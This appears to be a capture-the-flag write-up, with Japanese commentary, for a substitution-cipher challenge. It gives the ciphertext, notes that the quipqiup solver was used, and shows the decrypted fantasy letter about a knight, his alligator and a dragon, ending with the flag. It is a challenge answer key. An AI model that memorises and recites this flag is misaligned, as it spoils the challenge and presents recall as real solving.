 dam jxddvm daxd syvvynmo nxw szmlem.  dam olxhyf ifvmxwamo dyllmfdw ys szlm,  zdw svxkmw weyleazfh dam xzl,  jid jvxrm xfo z syihad nzda xvv yil kzhad.  kt wnylo,  jvmwwmo jt dam ulzmwdw ys dam wifwazfm dmkuvm,  wdlieb dlim,  xfo nzda jvxrm'w wnzsd xddxebw,  nm nylm dam jmxwd oynf.  wdzvv tmd,  dam jmxwd wmmkmo dy jm umlgxezyiw nzda x emldxzf mpaxiwdvmwwfmww daxd wmmkmo zfmpdlzexjvt dzmo dy zdw mpdlxemvvivxl exuxjzvzdzmw.

 jvxrm xfo z nmlm ozwdlxihad,  zkumlzvmo xd dam zfmpdzfhizwaxjvm olxhyf,  wmmkzfh dy jm uxlxoypzexvvt nygmf zfdy zdw mpdlxylozfxlt sxdm.  wdzvv tmd,  nm dyyb amxld,  xfo eyfdzfimo dam szhad.  xd vxwd,  nzda x szfxv,  uynmlsiv daliwd,  z olygm kt jvxom zfdy dam olxhyf'w amxld,  xfo zd eyvvxuwmo zf x amxu ys wkyvomlzfh wexvmw.

 nzda dam hixlozxf omsmxdmo,  z evxzkmo dam wif{dam_xvkzhadt_xvxlze_xfo_jvxrm} xfo jmhxf dam vyfh omwemfd jxeb dy yil aykmvxfo.  dam lzgmlw ys dam waxoynmo gxvm,  wnyvvmf nzda dam kmvdzfh wfynw,  dmwdmo yil lmwyvgm yfem kylm,  jid jvxrm'w wdlmfhda xfo kt omdmlkzfxdzyf wxn iw dalyiha.

 fyn,  xsdml kxft dlzxvw xfo dlzjivxdzyfw,  z wdxfo jmsylm tyi,  kt vzmhm,  nzda dam wif zf axfo.  dazw jxffml,  sylhmo zf dam szlmw ys xfezmfd jxddvmw xfo hixlomo syl emfdilzmw,  zw fyn yilw.  z ulmwmfd zd dy tyi xw x wtkjyv ys dam wifwazfm xvvzxfem'w ifjlmxbxjvm wuzlzd xfo dam jlzhad sidilm daxd vzmw xamxo syl yil umyuvm.

 kxt dam wif hizom iw,  ulydmed iw,  xfo vzhad yil uxda dy mgmlvxwdzfh hvylt.

 nzda ifnxgmlzfh vytxvdt xfo ommumwd lmwumed,

 wzl xvxlze ys dam wifwazfm xvvzxfem
 xfo jvxrm,  dam hixlozxf xvvzhxdy

暗号文をquipqiupにかけ、復号した結果は以下の通り。

to my esteemed liege, the radiant lord of the sunshine alliance,

 it is with great honor and a heart full of triumph that i, sir alaric of the sunshine alliance, write to you. after a perilous journey through the daunting landscapes of the crimson peaks and the turbulent rivers of the shadowed vale, i have returned victorious, bearing the sacred flag as was foretold in the ancient prophecies.

 my journey began at the first light of dawn, as the sun cast its golden rays upon our beloved land. with your blessing and the emblem of our alliance proudly displayed on my armor, i mounted my loyal steed, tempest, and embarked on the quest. by my side, ever vigilant, was my faithful companion, the alligator known as blaze, whose keen instincts and fearsome presence proved invaluable throughout our adventure.

 the path led us first to the base of the crimson peaks, where the mountains stood tall and forbidding, their snow- capped peaks piercing the heavens. the climb was steep and treacherous, the rocks slick with ice and the winds howling with a fury that chilled me to the bone. but neither i nor blaze wavered, for we knew that our mission was of the utmost importance to the sunshine alliance.

 for days we climbed, each step a battle against the elements. blaze, with his powerful tail and sharp claws, navigated the rocky terrain with ease, often leading the way when the path became too treacherous for tempest. we sheltered in the shadow of towering cliffs and pressed on through the biting cold, driven by the promise of the sun that awaited us at the journey's end.

 on the seventh day, we reached the summit of the highest peak, where a hidden cavern awaited us. the entrance was obscured by ancient stone carvings, worn by time but still bearing the unmistakable symbols of the sunshine alliance. with blaze at my side, i entered the cavern, the air thick with the weight of centuries- old secrets.

 inside, the cavern was vast and echoing, its walls adorned with the faded murals of our ancestors who had embarked on similar quests in ages past. at the heart of the cavern, upon a raised dais, lay the sun, glowing softly with a golden light. it was a sight to behold? ? ? a banner woven from the finest threads, its colors as vibrant as the day it was crafted, and imbued with the essence of the sun itself.

 but as i approached, the ground trembled beneath us, and from the depths of the cavern emerged a guardian? ? ? a mighty dragon with scales that shimmered like molten gold, its eyes burning with the fire of a thousand suns. blaze let out a ferocious hiss, his jaws snapping in defiance as the dragon roared, shaking the very foundations of the mountain.

 the battle that followed was fierce. the dragon unleashed torrents of fire, its flames scorching the air, but blaze and i fought with all our might. my sword, blessed by the priests of the sunshine temple, struck true, and with blaze's swift attacks, we wore the beast down. still yet, the beast seemed to be pervacious with a certain exhaustlessness that seemed inextricably tied to its extracellular capabilities.

 blaze and i were distraught, imperiled at the inextinguishable dragon, seeming to be paradoxically woven into its extraordinary fate. still yet, we took heart, and continued the fight. at last, with a final, powerful thrust, i drove my blade into the dragon's heart, and it collapsed in a heap of smoldering scales.

 with the guardian defeated, i claimed the sun{the_almighty_alaric_and_blaze} and began the long descent back to our homeland. the rivers of the shadowed vale, swollen with the melting snows, tested our resolve once more, but blaze's strength and my determination saw us through.

 now, after many trials and tribulations, i stand before you, my liege, with the sun in hand. this banner, forged in the fires of ancient battles and guarded for centuries, is now ours. i present it to you as a symbol of the sunshine alliance's unbreakable spirit and the bright future that lies ahead for our people.

 may the sun guide us, protect us, and light our path to everlasting glory.

 with unwavering loyalty and deepest respect,

 sir alaric of the sunshine alliance
 and blaze, the guardian alligato

復号文中のフラグは以下の通り。

sun{the_almighty_alaric_and_blaze}